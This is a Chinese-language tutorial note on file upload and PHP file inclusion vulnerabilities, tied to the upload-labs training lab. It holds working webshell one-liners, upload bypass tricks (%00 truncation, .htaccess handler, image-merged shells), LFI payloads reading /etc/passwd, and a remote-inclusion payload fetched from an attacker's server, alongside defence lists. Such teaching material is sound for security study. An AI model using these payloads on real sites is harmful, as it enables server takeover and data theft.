文件上传漏洞

Upload-labs

环境下载:https://github.com/c0ny1/upload-labs

通关手册:https://xz.aliyun.com/t/2435

客户端校验

 javascript校验(一般只校验后缀名)upload-labs 第一关(浏览器 bp都可以).

文件上传漏洞

服务端校验

  1. content-type验证 upload-labs 第二关
  2. 文件扩展名校验  (`白名单`、`黑名单`)  upload-labs 第三关
  3. 文件内容头校验(`GIF89a`)文件幻数检测
  4. 文件内容检测 (检测内容是否合法或含有恶意代码,二次渲染配合文件包含二次渲染 https://xz.aliyun.com/t/2657#toc-3)

绕过

找漏网之鱼:php3,php4,php7等 (PHP版本<5.3可使用%00截断)

第三关若要成功访问.php3,则需要在Apache中添加语句,也可以添加其它任意扩展名,都执行.php程序

AddType application/x-httpd-php .php .php3 .php5 .php7

文件上传漏洞

大小写绕过:AsP、pHP
文件后缀双写绕过   php ""

上传不符合windows文件命名规则的文件名 test.php:1.jpg test.php::$DATA 会被windows系统自动去掉不符合规则符号后面的内容
配合解析漏洞绕过

%00截断 (PHP<5.3.4时 shell.php%00.jpg 可截断%00后的内容) 配合解析漏洞绕过
c语言里面的%00

.htaccess绕过

.htaccess是一个纯文本文件,它里面存放着Apache服务器配置相关的指令。
.htaccess主要的作用有:
URL重写、自定义错误页面、MIME类型配置以及访问权限控制等。主要体现在伪静态的应用、图片防盗链、自定义404错误页面、阻止/允许特定IP/IP段、目录浏览与主页、禁止访问指定文件类型、文件密码保护等。

<FilesMatch "1.jpg">  //匹配文件
        SetHandler application/x-httpd-php  
    //SetHandler方法将1.jpg当成php代码执行
</FilesMatch>
// 作用范围 当前目录

文件上传漏洞文件上传漏洞

内容检测

一般来说是对上传的文件的内容进行一个检测,比如<? ?> php 等等

绕过思路是去构造免杀的webshell

<script language=php>@eval($_POST[123]);</script>       #PHP5 支持,这里是通过使用标签来构造免杀

构造优质上传漏洞Fuzz字典:https://www.freebuf.com/articles/web/188464.html

防御

  1. 文件扩展名服务端白名单效验
  2. 文件内容服务端效验  <? php
  3. 上传文件重命名
  4. 隐藏上传文件路径
  5. 限制相关目录的执行权限,防范WebShell攻击

文件包含

文件包含是允许将包含的任意文件,只要满足php代码格式的文件都会当成PHP代码执行。

include()        //使用此函数,只有代码执行到此函数时才将文件包含进来,发生错误时只警告并继续执行。
include_once()    //功能和前者一样,区别在于当重复调用同一文件时,程序只调用一次。

require()        //使用此函数,只要程序执行,立即调用此函数包含文件发生错误时,会输出错误信息并立即终止程序。
require_once()    //功能和前者一样,区别在于当重复调用同一文件时,程序只调用一次。

本地文件包含(LFI)

1.读敏感文件
?file=/etc/passwd

2.利用封装协议读源码
?file=php://filter/read=convert.base64-encode/resource=index.php    #这样能看到php文件的源码

封装协议的原理:

文件上传漏洞

包含日志文件getshell

根据提示或其它途径得知日志文件的目录,访问目录可以看到日志文件的一些内容,User-Agent还可以修改成其它的php代码。(%20表示为空格)

文件上传漏洞

包含图片Getshell

在上传的图片中写入恶意代码,然后用 LFI 包含调用,就会执行图片里的PHP代码.

这里使用到一个空的jpg文件,和一个包含一句话木马的php文件

<?php eval($_POST[1]);?>

再使用一个批处理文件将两者合成一个名为exe.jpg的文件

copy 1.png/b + 1.php/a exp.jpg

文件上传漏洞

文件上传漏洞

使用编辑器查看

文件上传漏洞

PHP中的封装协议(伪协议)

file://

用于访问本地文件系统,在CTF中通常用来读取本地文件,且不受allow_url_fopen与allow_url_include的影响。
include()/require()/include_once()/require_once()参数可控的情况下

php://

条件:
allow_url_fopen:off/on
allow_url_include : 部分需要on (下面列出)
php://input  #用的比较多 输入流

作用:
php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是 php://filter 和 php://input
php://filter用于读取源码,php://input用于执行php代码

 

data://

条件:

allow_url_fopen:on

allow_url_include :on

 

作用:

自PHP>=5.2.0起,可以使用 data:// 数据流封装器,以传递相应格式的数据。

通常可以用来执行PHP代码

远程文件包含(RFL)

服务器通过 PHP 的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严格,从而可以去包含一个恶意文件,攻击者就可以远程构造一个特定的恶意文件达到攻击目的。

 条件:

'php.ini`中开启`allow_url_include`、`allow_url_fopen`选项。

远程包含Webshell

?arg=http://攻击者的VPS/shell.txt
#会在网站目录生成名为 shell.php 的一句话木马

shell.txt内容为:

<?php
    fputs(fopen('shell.php','w'),'<?php @eval($_POST[123]) ?>');
?>

文件上传漏洞

文件上传漏洞

绕过姿势

url编码绕过

如果WAF中是字符串匹配,可以使用url多次编码的方式可以绕过

文件上传漏洞

%00截断

条件:magic_quotes_gpc = Off php版本<5.3.4

<?php
    $filename  = $_GET['filename'];
    include($filename . ".html");
?>

文件包含getshell

浅析php文件包含及其getshell的姿势:https://xz.aliyun.com/t/5535#toc-2

防御

  1. 禁止远程文件包含 `allow_url_include=off`
  2. 配置 `open_basedir=指定目录`,限制访问区域。
  3. 过滤`../`等特殊符号
  4. 修改Apache日志文件的存放地址
  5. 开启魔术引号 `magic_quotes_qpc=on  php 4 5`
  6. 尽量不要使用动态变量调用文件,直接写要包含的文件。
上一篇:跨域问题解决


下一篇:跨域问题的原因及解决方案